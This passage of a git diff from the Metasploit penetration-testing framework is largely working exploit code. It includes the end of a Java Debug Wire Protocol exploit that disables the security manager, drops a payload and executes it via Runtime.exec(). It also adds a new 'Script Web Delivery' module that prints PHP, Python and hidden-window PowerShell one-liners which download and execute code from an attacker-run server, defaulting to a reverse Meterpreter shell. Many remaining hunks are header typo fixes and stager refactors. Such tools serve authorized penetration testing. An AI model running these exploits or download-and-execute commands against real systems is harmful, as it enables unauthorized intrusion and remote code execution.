sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply(datastore['BREAK_TIMEOUT']) + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Suspend execution of the application or thread + def suspend_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(SUSPENDVM_SIG)) + else + sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Sets an event request. When the event described by this request occurs, an event is sent from the target VM + def send_event(event_code, args) + data = [event_code].pack('C') + data << [SUSPEND_ALL].pack('C') + data << [args.length].pack('N') + + args.each do |kind,option| + data << [kind].pack('C') + data << option + end + + sock.put(create_packet(EVENTSET_SIG, data)) + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "#{peer} - No network response") + end + return response.unpack('N')[0] + end + + # Parses a received event and compares it with the expected + def parse_event(buf, event_id, thread_id) + len = @vars["objectid_size"] + return false if buf.length < 10 + len - 1 + + r_id = buf[6..9].unpack('N')[0] + t_id = unformat(len,buf[10..10+len-1]) + + return (event_id == r_id) && (thread_id == t_id) + end + + # Clear a defined event request + def clear_event(event_code, r_id) + data = [event_code].pack('C') + data << [r_id].pack('N') + sock.put(create_packet(EVENTCLEAR_SIG, data)) + read_reply + end + + # Invokes a static method. The method must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private + # methods can be invoked. + def invoke_static(class_id, thread_id, meth_id, args = []) + data = format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Invokes a instance method. The method must be member of the object's type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods + # can be invoked. + def invoke(obj_id, thread_id, class_id, meth_id, args = []) + data = format(@vars["objectid_size"], obj_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["referencetypeid_size"], class_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKEMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Creates a new object of specified class, invoking the specified constructor. The constructor + # method ID must be a member of the class type. + def create_instance(class_id, thread_id, meth_id, args = []) + data = format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) + buf = read_reply + buf + end + + def temp_path + return nil unless datastore['TMP_PATH'] + unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') + fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') + end + datastore['TMP_PATH'] + end + + # Configures payload according to targeted architecture + def setup_payload + # 1. Setting up generic values. + payload_exe = rand_text_alphanumeric(4 + rand(4)) + pl_exe = generate_payload_exe + + # 2. Setting up arch specific... + case target['Platform'] + when 'linux' + path = temp_path || '/tmp/' + payload_exe = "#{path}#{payload_exe}" + if @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Linux target...") + end + when 'win' + path = temp_path || './' + payload_exe = "#{path}#{payload_exe}.exe" + unless @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Windows target...") + end + end + + return payload_exe, pl_exe + end + + # Invokes java.lang.System.getProperty() for OS fingerprinting purposes + def fingerprint_os(thread_id) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the property to be getted + cmd_obj_ids = create_string("os.name") + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets property + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') + + str = unformat(size, buf[1..1+size-1]) + @os = solve_string(format(@vars["objectid_size"],str)) + end + + # Creates a file on the server given a execution thread + def create_file(thread_id, filename) + cmd_obj_ids = create_string(filename) + fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "", "(Ljava/lang/String;)V") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + + file = unformat(size, buf[1..1+size-1]) + fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) + + register_files_for_cleanup(filename) + + file + end + + # Stores the payload on a new string created in target VM + def upload_payload(thread_id, pl_exe) + size = @vars["objectid_size"] + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + end + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + decoder = unformat(size, buf[1..1+size-1]) + if decoder.nil? || decoder == 0 + fail_with(Failure::Unknown, "Failed to create Base64 decoder object") + end + + cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B") + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") + end + buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_ARRAY].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") + end + + pl = unformat(size, buf[1..1+size-1]) + pl + end + + # Dumps the payload on a opened server file given a execution thread + def dump_payload(thread_id, file, pl) + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, pl) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while writing to file") + end + end + + # Closes a file on the server given a execution thread + def close_file(thread_id, file) + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while closing file") + end + end + + # Executes a system command on target VM making use of java.lang.Runtime.exec() + def execute_command(thread_id, cmd) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the command to be executed + cmd_obj_ids = create_string(cmd) + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets Runtime context + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + rt = unformat(size, buf[1..1+size-1]) + if rt.nil? || (rt == 0) + fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") + end + + # 3. Finds and executes "exec" method supplying the string with the command + exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") + if exec_meth.nil? + fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") + end + + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + end + + # Set event for stepping into a running thread + def set_step_event + # 1. Select a thread in sleeping status + t_id = nil + @threads.each_key do |thread| + if thread_status(thread) == THREAD_SLEEPING_STATUS + t_id = thread + break + end + end + fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil? + + # 2. Suspend the VM before setting the event + suspend_vm + + vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}") + step_info = format(@vars["objectid_size"], t_id) + step_info << [STEP_MIN].pack('N') + step_info << [STEP_INTO].pack('N') + data = [[MODKIND_STEP, step_info]] + + r_id = send_event(EVENT_STEP, data) + unless r_id + fail_with(Failure::Unknown, "Could not set the event") + end + + return r_id, t_id + end + + # Disables security manager if it's set on target JVM + def disable_sec_manager + sys_class = get_class_by_name("Ljava/lang/System;") + + fields = get_fields(sys_class["reftype_id"]) + + sec_field = nil + + fields.each do |field| + sec_field = field["field_id"] if field["name"].downcase == "security" + end + + fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil? + + value = get_value(sys_class["reftype_id"], sec_field) + + if(value == 0) + print_good("#{peer} - Security manager was not set") + else + set_value(sys_class["reftype_id"], sec_field, 0) + if get_value(sys_class["reftype_id"], sec_field) == 0 + print_good("#{peer} - Security manager has been disabled") + else + print_good("#{peer} - Security manager has not been disabled, trying anyway...") + end + end + end + + # Uploads & executes the payload on the target VM + def exec_payload(thread_id) + # 0. Fingerprinting OS + fingerprint_os(thread_id) + + vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}") + + # 1. Prepares the payload + payload_exe, pl_exe = setup_payload + + # 2. Creates file on server for dumping payload + file = create_file(thread_id, payload_exe) + + # 3. Uploads payload to the server + pl = upload_payload(thread_id, pl_exe) + + # 4. Dumps uploaded payload into file on the server + dump_payload(thread_id, file, pl) + + # 5. Closes the file on the server + close_file(thread_id, file) + + # 5b. When linux arch, give execution permissions to file + if target['Platform'] == 'linux' + cmd = "chmod +x #{payload_exe}" + execute_command(thread_id, cmd) + end + + # 6. Executes the dumped payload + cmd = "#{payload_exe}" + execute_command(thread_id, cmd) + end + + + def exploit + @my_id = 0x01 + @vars = {} + @classes = [] + @methods = {} + @threads = {} + @os = nil + + connect + + unless handshake == HANDSHAKE + fail_with(Failure::NotVulnerable, "JDWP Protocol not found") + end + + print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...") + get_sizes + + print_status("#{peer} - Getting the version of the target VM...") + get_version + + print_status("#{peer} - Getting all currently loaded classes by the target VM...") + get_all_classes + + print_status("#{peer} - Getting all running threads in the target VM...") + get_all_threads + + print_status("#{peer} - Setting 'step into' event...") + r_id, t_id = set_step_event + + print_status("#{peer} - Resuming VM and waiting for an event...") + response = resume_vm + + unless parse_event(response, r_id, t_id) + datastore['NUM_RETRIES'].times do |i| + print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...") + buf = read_reply + break if parse_event(buf, r_id, t_id) + + if i == datastore['NUM_RETRIES'] + fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts") + end + end + end + + vprint_status("#{peer} - Received matching event from thread #{t_id}") + print_status("#{peer} - Deleting step event...") + clear_event(EVENT_STEP, r_id) + + print_status("#{peer} - Disabling security manager if set...") + disable_sec_manager + + print_status("#{peer} - Dropping and executing payload...") + exec_payload(t_id) + + disconnect + end +end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 85d6f43fa4..829829cfad 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb index a0155ef1ed..c15c193ead 100644 --- a/modules/exploits/multi/misc/openview_omniback_exec.rb +++ b/modules/exploits/multi/misc/openview_omniback_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index 05c93f2e96..4b95b3ec14 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb index 9389a464b4..ed53e0b7f2 100644 --- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb +++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb index 34223304d4..5048621ac6 100644 --- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb +++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,11 +59,11 @@ class Metasploit3 < Msf::Exploit::Remote buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n" sock.put(buf) - banner = sock.get(3,3) + banner = sock.get_once disconnect - if (banner and banner =~ /#{sploit}/) + if banner.to_s.index(sploit) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote buf << "\n" sock.put(buf) - res = sock.get(-1,3) + res = sock.get_once print_status(res.to_s) diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index bcc248f68d..10e103dc67 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index 505172d82d..9762c192fc 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/zend_java_bridge.rb b/modules/exploits/multi/misc/zend_java_bridge.rb index 3abfc02b98..a433889c5e 100644 --- a/modules/exploits/multi/misc/zend_java_bridge.rb +++ b/modules/exploits/multi/misc/zend_java_bridge.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/ntp/ntp_overflow.rb b/modules/exploits/multi/ntp/ntp_overflow.rb index 1a2428cbf8..5b0e336fc0 100644 --- a/modules/exploits/multi/ntp/ntp_overflow.rb +++ b/modules/exploits/multi/ntp/ntp_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index 3153f03bae..a6883a67ca 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', # module development - 'GML ', # module development and debugging - 'Stefan Esser ' # discovered, patched, exploited + 'GML ', # module development and debugging + 'Stefan Esser ' # discovered, patched, exploited ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index 0166bc45e2..7f09d577a2 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index 987596ab09..61b785aa26 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index fb65d4019c..b3c0b8d8a6 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 8a7ac17992..da27883df6 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -56,7 +56,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' }, ], ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index a5a73f8f3e..5f19e6518f 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -66,7 +66,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 2b32642ace..3317ebcd9a 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -67,7 +67,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb new file mode 100644 index 0000000000..4a3baf708f --- /dev/null +++ b/modules/exploits/multi/script/web_delivery.rb @@ -0,0 +1,99 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Script Web Delivery', + 'Description' => %q( + This module quickly fires up a web server that serves a payload. + The provided command will start the specified scripting language interpreter and then download and execute the + payload. The main purpose of this module is to quickly establish a session on a target + machine when the attacker has to manually type in the command himself, e.g. Command Injection, + RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not + write to disk so it is less likely to trigger AV solutions and will allow privilege + escalations supplied by Meterpreter. When using either of the PSH targets, ensure the + payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute + x86 payloads on x64 machines. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrew Smith "jakx" ', + 'Ben Campbell', + 'Chris Campbell' # @obscuresec - Inspiration n.b. no relation! + ], + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'References' => + [ + ['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], + ['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], + ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], + ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] + ], + 'Platform' => %w(python php win), + 'Targets' => + [ + ['Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + }], + ['PHP', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + }], + ['PSH', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X86_64] + }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 19 2013' + )) + end + + def on_request_uri(cli, _request) + print_status('Delivering Payload') + if target.name.include? 'PSH' + data = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + remove_comspec: true, + use_single_quotes: true + ) + else + data = %Q(#{payload.encoded} ) + end + send_response(cli, data, 'Content-Type' => 'application/octet-stream') + end + + def primer + url = get_uri + print_status('Run the following command on the target machine:') + case target.name + when 'PHP' + print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"") + when 'Python' + print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") + when 'PSH' + download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" + print_line generate_psh_command_line( + noprofile: true, + windowstyle: 'hidden', + command: download_and_run + ) + end + end +end diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 027144e742..b21d9e4472 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::CmdStagerBourne + include Msf::Exploit::CmdStager attr_accessor :ssh_socket @@ -46,21 +46,22 @@ class Metasploit3 < Msf::Exploit::Remote { 'Arch' => ARCH_X86, 'Platform' => 'linux' - }, + } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' - }, + } ], [ 'OSX x86', { 'Arch' => ARCH_X86, 'Platform' => 'osx' - }, - ], + } + ] ], + 'CmdStagerFlavor' => %w{ bourne echo printf }, 'DefaultTarget' => 0, # For the CVE 'DisclosureDate' => 'Jan 01 1999' @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_command(cmd, opts = {}) + vprint_status("Executing #{cmd}") begin Timeout.timeout(3) do self.ssh_socket.exec!("#{cmd}\n") @@ -125,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...") + print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...") execute_cmdstager({:linemax => 500}) end end diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index dc295f937a..7f5a0f9234 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 8cfd039746..d7b0a59908 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index ad0e950e70..aac7376da6 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb index 6d4f53a0c5..988ce5768c 100644 --- a/modules/exploits/netware/smb/lsass_cifs.rb +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/netware/sunrpc/pkernel_callit.rb b/modules/exploits/netware/sunrpc/pkernel_callit.rb index c94bbd5ff3..0ab1da752a 100644 --- a/modules/exploits/netware/sunrpc/pkernel_callit.rb +++ b/modules/exploits/netware/sunrpc/pkernel_callit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index deb89ab9fa..f3ec48b721 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 935ed14075..7934c37aab 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb 